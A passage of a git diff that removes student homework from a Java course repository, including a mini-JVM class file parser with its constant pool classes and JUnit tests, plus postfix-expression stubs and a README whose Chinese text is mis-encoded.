-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 036e6d9055..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
-	
-	
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 5cbbba6033..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 41e0fd7e7a..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java b/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
deleted file mode 100644
index 6bfcb47273..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java b/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
deleted file mode 100644
index 7db88a939e..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/6-SixWeek/jvm/field/Field.java b/group24/Homework/6-SixWeek/jvm/field/Field.java
deleted file mode 100644
index c6eb0196f8..0000000000
--- a/group24/Homework/6-SixWeek/jvm/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		//System.out.println("field attribute count:"+ attribCount);
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-
-}
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 6fb5570dff..0000000000
--- a/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 33185d8175..0000000000
--- a/group24/Homework/6-SixWeek/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java b/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
deleted file mode 100644
index a29d9572cd..0000000000
--- a/group24/Homework/6-SixWeek/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		
-		
-		
-		return null;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		return null;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		
-
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		
-
-	}
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/method/Method.java b/group24/Homework/6-SixWeek/jvm/method/Method.java
deleted file mode 100644
index b86c57ef90..0000000000
--- a/group24/Homework/6-SixWeek/jvm/method/Method.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-	
-	
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
-	}
-
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index f83d290e14..0000000000
--- a/group24/Homework/6-SixWeek/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,282 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    
-
-}
diff --git a/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java b/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group24/Homework/6-SixWeek/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/util/Util.java b/group24/Homework/6-SixWeek/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group24/Homework/6-SixWeek/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/InfixToPostfix.java b/group24/Homework/7-SevenWeek/InfixToPostfix.java
deleted file mode 100644
index 96a2194a67..0000000000
--- a/group24/Homework/7-SevenWeek/InfixToPostfix.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-
-public class InfixToPostfix {
-	
-	public static List<Token> convert(String expr) {
-		
-		return null;
-	}
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/PostfixExpr.java b/group24/Homework/7-SevenWeek/PostfixExpr.java
deleted file mode 100644
index dcbb18be4b..0000000000
--- a/group24/Homework/7-SevenWeek/PostfixExpr.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		return 0.0f;
-	}
-	
-	
-}
diff --git a/group24/Homework/7-SevenWeek/PostfixExprTest.java b/group24/Homework/7-SevenWeek/PostfixExprTest.java
deleted file mode 100644
index c0435a2db5..0000000000
--- a/group24/Homework/7-SevenWeek/PostfixExprTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.coding.basic.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group24/Homework/7-SevenWeek/README.txt b/group24/Homework/7-SevenWeek/README.txt
deleted file mode 100644
index 6adfb7dc34..0000000000
--- a/group24/Homework/7-SevenWeek/README.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-1. ���ֽ���ָ��ת��Ϊjava ���� ����Ҫʵ�ֵ��ࣺ CommandParser.java ���� 
-2. ʵ�����Ƶ�javap �����Ҫʵ�ֵ��ࣺClassFilePrinter.java
-3. ���ݽṹ�� ʵ��ǰ׺����ʽ����PrefixExpr.java �� ��׺����ʽ���� PostfixExpr.java 
-��׺����ʽת��׺����ʽ InfixToPostfix.java
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java b/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
